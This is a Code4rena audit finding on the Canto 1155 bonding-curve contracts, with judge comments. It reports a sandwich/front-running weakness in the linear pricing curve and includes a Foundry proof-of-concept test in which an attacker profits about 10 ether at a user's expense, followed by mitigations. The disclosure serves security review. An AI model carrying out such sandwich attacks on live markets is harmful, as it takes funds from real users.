Canto Application Specific Dollars and Bonding Curves for 1155s - DarkTower's results

Tokenizable bonding curves using a Stablecoin-as-a-Service token

General Information

Platform: Code4rena

Start Date: 13/11/2023

Pot Size: $24,500 USDC

Total HM: 3

Participants: 120

Period: 4 days

Judge: 0xTheC0der

Id: 306

League: ETH

Canto

Findings Distribution

Researcher Performance

Rank: 105/120

Findings: 1

Award: $1.37

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L174 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/bonding_curve/LinearBondingCurve.sol#L21

Vulnerability details

Impact

An attacker can observe pending transactions in the mempool and execute orders that manipulate the token prices due to the linear nature of the bonding curve. For instance, the bot/attacker can place buy order ahead of a user's transaction, which will inflate the market price. Then, they can sell their holdings immediately after the user's transaction is executed, to get an immediate profit. The sell order can work in the opposite way : selling right before a user to decrease the price. This attack can be done for every order.

This can create frustration for users, lack of trust in the protocol and loss of funds. Since every order/sell transactions are at risk, I consider this issue to be high.

Proof of Concept

By construction the price/fees of the tokens follow the the LinearBondingCurve model which is a linear increase with the supply. This makes the price very prone to manipulation. Both the fees and price increases with token supply or tokenCount of the share. However, the price increases even faster than the fees because of the log2.

    function getPriceAndFee(uint256 shareCount, uint256 amount)
        external
        view
        override
        returns (uint256 price, uint256 fee)
    {
        for (uint256 i = shareCount; i < shareCount + amount; i++) {
@>          uint256 tokenPrice = priceIncrease * i;
@>          price += tokenPrice;
            fee += (getFee(i) * tokenPrice) / 1e18;
        }
    }

POC

The following test demonstrates how an attacker profits from price manipulation during a user purchase. To execute the test forge test --mt testSandwitchBuyer -vv

    function testSandwitchBuyer() public {
        testCreateNewShare();

        address attacker = makeAddr("Attacker");
        token.mint(attacker, 1000 ether);
        token.mint(alice, 1000 ether);

        // Attackers sees Alice tx in the mempool, front runs it and execute a buy order
        uint256 balanceOfAttackerBefore = token.balanceOf(attacker);
        vm.prank(attacker);
        token.approve(address(market), 100 ether);
        vm.prank(attacker);
        market.buy(1, 100);
        console.log(token.balanceOf(attacker));

        // Alice's buy order goes through for a premium
        uint256 balanceOfAliceBefore = token.balanceOf(alice);
        vm.prank(alice);
        token.approve(address(market), 100 ether);
        vm.prank(alice);
        market.buy(1, 100);
        console.log(token.balanceOf(alice));

        // Attacker immediately sells the shares
        vm.prank(attacker);
        market.sell(1, 100);
        uint256 balanceOfAttackerAfter = token.balanceOf(attacker);
        console.log(balanceOfAttackerAfter - balanceOfAttackerBefore);
        // Winning balance : 9792590738095238154 eq 10 ether

        // Alice sells her shares
        vm.prank(alice);
        market.sell(1, 100);
        uint256 balanceOfAliceAfter = token.balanceOf(alice);
        console.logInt(int256(balanceOfAliceAfter) -int256(balanceOfAliceBefore));
        // Losing balance : -10249383690476190408 or -10 ether
    }

Tools Used

Manual review && Foundry

  • Whenever the price of an asset is determined onchain this makes any order vulnerable to sandwitch attacks/front-running. The best way is to allow users to chose a minimum amount that they would like to buy for but that cannot be less than a calculated amount from the protocol models.
  • Implement a non-linear pricing curve

Assessed type

MEV

#0 - c4-pre-sort

2023-11-18T11:57:55Z

minhquanym marked the issue as duplicate of #12

#1 - c4-judge

2023-11-28T23:14:14Z

MarioPoneder changed the severity to 2 (Med Risk)

#2 - c4-judge

2023-11-28T23:38:18Z

MarioPoneder marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter